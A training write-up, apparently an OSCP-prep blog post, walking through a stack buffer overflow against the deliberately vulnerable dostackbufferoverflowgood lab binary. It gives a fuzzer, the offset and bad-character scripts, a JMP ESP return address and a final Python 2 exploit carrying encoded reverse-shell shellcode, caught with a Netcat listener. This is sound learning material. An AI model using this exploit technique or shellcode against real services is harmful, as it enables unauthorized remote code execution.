Stack Buffer Overflow – dostackbufferoverflowgood Guide
Introduction
I found this great material when preparing for my OSCP certification exam, I had already finished all of the exercises including the Buffer Overflow ones but I wanted to do some more practice as I wanted to be 100% ready on this subject to ensure I was getting the 25 points awarded for this machine.
Crashing the application
First of all we have to cause the application to crash, the very first thing to do is run the vulnerable executable:
Creating the initial python fuzzer to find out what amount of bytes will cause the application to crash:
#!/usr/bin/python
import socket
import time
import sys
size = 100
while(size < 2000):
try:
print "\nSending buffer size of %s bytes" % size
buffer = "A" * size + "\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.135.10", 31337))
s.send(buffer)
s.close()
size +=100
time.sleep(3)
except:
print "\nCould not connect!"
sys.exit()
Starting Immunity Debugger, attaching it to the application and running it:
Running the fuzzer- It appears when it reaches 200 bytes it stops working
The application crashed with an access violation error and EIP was overwritten with the “A” characters sent by the script:
Identifying the EIP offset
The next step required is to identify which part of the buffer that is being sent is landing in the EIP register, in order to control the execution flow. Using the msf-pattern_create tool to create a string of 350 bytes.
Adding the pattern to a new script, instead of sending the “A” characters:
#!/usr/bin/env/ python2
import socket
try:
print "\nSending evil buffer..."
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al" + "\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.135.10", 31337))
s.send(buffer)
s.close()
print "\n[+] Buffer Size: " + str(len(buffer))
print "\n[+] Sending Buffer: " + buffer
print "\n[+] Done!"
except:
print "\n[+] Could not connect!"
Restarting the application, re-attaching Immunity and running the script:
This time, EIP was overwritten with “39654138”
Using the msf-pattern_offset tool to calculate the exact offset, which is 146
Modifying script to override EIP with “B” characters to test this last step
#!/usr/bin/env/ python2
import socket
try:
print "\nSending evil buffer..."
offset = "A" * 146
eip = "B" * 4
newline = "\n"
buffer = offset + eip + newline
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.135.10", 31337))
s.send(buffer)
s.close()
print "\n[+] Buffer Size: " + str(len(buffer))
print "\n[+] Sending Buffer: " + buffer
print "\n[+] Done!"
except:
print "\n[+] Could not connect!"
Restarting the application, re-attaching Immunity and running the script:
As expected, the EIP registry was overwritten with the four “B” characters that were sent by the script:
Verifying available shellcode space
The purpose of this step is to verify whether there is enough space for the shellcode immediately after EIP, which is what will be executed by the system in order to gain remote access. Adding about 550 C characters to the script for this phase:
#!/usr/bin/env/ python2
import socket
try:
print "\nSending evil buffer..."
offset = "A" * 146
eip = "B" * 4
shellcode = "C" * (700 - len(offset) - len(eip) - 1)
newline = "\n"
buffer = offset + eip + shellcode + newline
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.135.10", 31337))
s.send(buffer)
s.close()
print "\n[+] Buffer Size: " + str(len(buffer))
print "\n[+] Sending Buffer: " + buffer
print "\n[+] Done!"
except:
print "\n[+] Could not connect!"
Restarting the application, re-attaching Immunity and running the script:
All the “C” characters that were sent by the script were received and they have successfully overwritten the ESP register. This means an ESP JMP address can be used to redirect the execution to ESP, which will contain the malicious shellcode.
Testing for bad characters
In this phase all we have to do is identify whether there are any bad characters that can’t be interpreted by the application, so that we can later on remove them from the shellcode.
Modifying the script, adding all possible characters in hex format:
#!/usr/bin/env/ python2
import socket
try:
print "\nSending evil buffer..."
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x27\x28\x29\x2a\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
offset = "A" * 146
eip = "B" * 4
filler = "C" * (700 - len(offset) - len(eip) - len(badchars) - 1)
newline = "\n"
buffer = offset + eip + badchars + filler + newline
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.135.10", 31337))
s.send(buffer)
s.close()
print "\n[+] Buffer Size: " + str(len(buffer))
print "\n[+] Sending Buffer: " + buffer
print "\n[+] Done!"
except:
print "\n[+] Could not connect!"
Restarting the application, re-attaching Immunity and running the script:
After following the ESP register to the memory dump, it looks like all the characters made it into ESP, therefore no bad characters are present, apart from x00 which is always considered a bad character
Finding a JMP ESP return address
The next step is to find a valid JMP ESP instruction address so that we can redirect the execution of the application to our malicious shell code.
Restarting the application, re-attaching Immunity and using !mona modules to find a valid dll/module – looks like the only good one is the executable
Finding valid opcodes for the JMP ESP instruction – we are after FFE4
Searching for a JMP ESP instruction address using Mona – found 2 pointers
Copying the address and searching for it to ensure it is valid:
It looks like it corresponds to a valid JMP ESP instruction address
Changing the script to replace the “B” characters used for the EIP register with the newly found JMP ESP instruction address, and adding 500 NOP slides, which will function as placeholder for the shellcode
#!/usr/bin/env/ python2
import socket
try:
print "\nSending evil buffer..."
offset = "A" * 146
eip = "\xbf\x16\x04\x08"
filler = "\x90" * (700 - len(offset) - len(eip) - 1)
newline = "\n"
buffer = offset + eip + filler + newline
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.135.10", 31337))
s.send(buffer)
s.close()
print "\n[+] Buffer Size: " + str(len(buffer))
print "\n[+] Sending Buffer: " + buffer
print "\n[+] Done!"
except:
print "\n[+] Could not connect!"
Restarting the application, re-attaching Immunity and adding a breakpoint on the JMP ESP instruction address, then starting the program execution:
Executing the script again:
When the application stops, it lands on the JMP ESP instruction, which is where the breakpoint was added.
When single-stepping into the application execution, this takes to the NOP slides, as expected
Generating and adding the shellcode
The first step of this phase is to generate some shellcode using MSFvenom with the following flags:
- -p to specify the payload type, in this case the Windows reverse TCP shell
- LHOST to specify the local host IP address to connect to
- LPORT to specify the local port to connect to
- EXITFUNC to specify a function to call when the payload is executed, thread is used where the exploited process runs the shellcode in a sub-thread and exiting this thread results in a working application/system (clean exit). This is done to prevent the application from crashing
- -f to specify the format, in this case Python
- -b to specify the bad characters, in this case just x00
- -e to specify the encoder, in this case shikata_ga_nai
- -v to specify the name of the variable used for the shellcode
Adding the shellcode to the script, along with 10 NOP slides at the
beginning of it to avoid errors during the decoding phase
#!/usr/bin/env/ python2
import socket
try:
print "\nSending evil buffer..."
offset = "A" * 146
eip = "\xbf\x16\x04\x08"
nops = "\x90" * 10
shellcode = b""
shellcode += b"\xda\xc5\xbe\xa2\xa4\xca\x1a\xd9\x74\x24\xf4"
shellcode += b"\x5f\x31\xc9\xb1\x52\x31\x77\x17\x83\xef\xfc"
shellcode += b"\x03\xd5\xb7\x28\xef\xe5\x50\x2e\x10\x15\xa1"
shellcode += b"\x4f\x98\xf0\x90\x4f\xfe\x71\x82\x7f\x74\xd7"
shellcode += b"\x2f\x0b\xd8\xc3\xa4\x79\xf5\xe4\x0d\x37\x23"
shellcode += b"\xcb\x8e\x64\x17\x4a\x0d\x77\x44\xac\x2c\xb8"
shellcode += b"\x99\xad\x69\xa5\x50\xff\x22\xa1\xc7\xef\x47"
shellcode += b"\xff\xdb\x84\x14\x11\x5c\x79\xec\x10\x4d\x2c"
shellcode += b"\x66\x4b\x4d\xcf\xab\xe7\xc4\xd7\xa8\xc2\x9f"
shellcode += b"\x6c\x1a\xb8\x21\xa4\x52\x41\x8d\x89\x5a\xb0"
shellcode += b"\xcf\xce\x5d\x2b\xba\x26\x9e\xd6\xbd\xfd\xdc"
shellcode += b"\x0c\x4b\xe5\x47\xc6\xeb\xc1\x76\x0b\x6d\x82"
shellcode += b"\x75\xe0\xf9\xcc\x99\xf7\x2e\x67\xa5\x7c\xd1"
shellcode += b"\xa7\x2f\xc6\xf6\x63\x6b\x9c\x97\x32\xd1\x73"
shellcode += b"\xa7\x24\xba\x2c\x0d\x2f\x57\x38\x3c\x72\x30"
shellcode += b"\x8d\x0d\x8c\xc0\x99\x06\xff\xf2\x06\xbd\x97"
shellcode += b"\xbe\xcf\x1b\x60\xc0\xe5\xdc\xfe\x3f\x06\x1d"
shellcode += b"\xd7\xfb\x52\x4d\x4f\x2d\xdb\x06\x8f\xd2\x0e"
shellcode += b"\x88\xdf\x7c\xe1\x69\x8f\x3c\x51\x02\xc5\xb2"
shellcode += b"\x8e\x32\xe6\x18\xa7\xd9\x1d\xcb\x08\xb5\x6a"
shellcode += b"\x8c\xe1\xc4\x94\x93\x4a\x41\x72\xf9\xbc\x04"
shellcode += b"\x2d\x96\x25\x0d\xa5\x07\xa9\x9b\xc0\x08\x21"
shellcode += b"\x28\x35\xc6\xc2\x45\x25\xbf\x22\x10\x17\x16"
shellcode += b"\x3c\x8e\x3f\xf4\xaf\x55\xbf\x73\xcc\xc1\xe8"
shellcode += b"\xd4\x22\x18\x7c\xc9\x1d\xb2\x62\x10\xfb\xfd"
shellcode += b"\x26\xcf\x38\x03\xa7\x82\x05\x27\xb7\x5a\x85"
shellcode += b"\x63\xe3\x32\xd0\x3d\x5d\xf5\x8a\x8f\x37\xaf"
shellcode += b"\x61\x46\xdf\x36\x4a\x59\x99\x36\x87\x2f\x45"
shellcode += b"\x86\x7e\x76\x7a\x27\x17\x7e\x03\x55\x87\x81"
shellcode += b"\xde\xdd\xa7\x63\xca\x2b\x40\x3a\x9f\x91\x0d"
shellcode += b"\xbd\x4a\xd5\x2b\x3e\x7e\xa6\xcf\x5e\x0b\xa3"
shellcode += b"\x94\xd8\xe0\xd9\x85\x8c\x06\x4d\xa5\x84"
newline = "\n"
buffer = offset + eip + nops + shellcode + newline
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.135.10", 31337))
s.send(buffer)
s.close()
print "\n[+] Buffer Size: " + str(len(buffer))
print "\n[+] Sending Buffer: " + buffer
print "\n[+] Done!"
except:
print "\n[+] Could not connect!
Exploitation
The next step is to set up a Netcat listener, which will catch our reverse shell when it is executed by the victim host, using the following flags:
- -l to listen for incoming connections
- -v for verbose output
- -n to skip the DNS lookup
- -p to specify the port to listen on
Restarting the application without the debugger and running the script:
A call back was received and a reverse shell was granted
Conclusion
This definetely one of the best resources online for users who want to practice with basic stack buffer overflow, and I would definetely recommend this for anyone trying to learn this attack vector which can often be intimidating to beginners.
If you are interested you can download the application and practice yourself here: https://github.com/justinsteven/dostackbufferoverflowgood.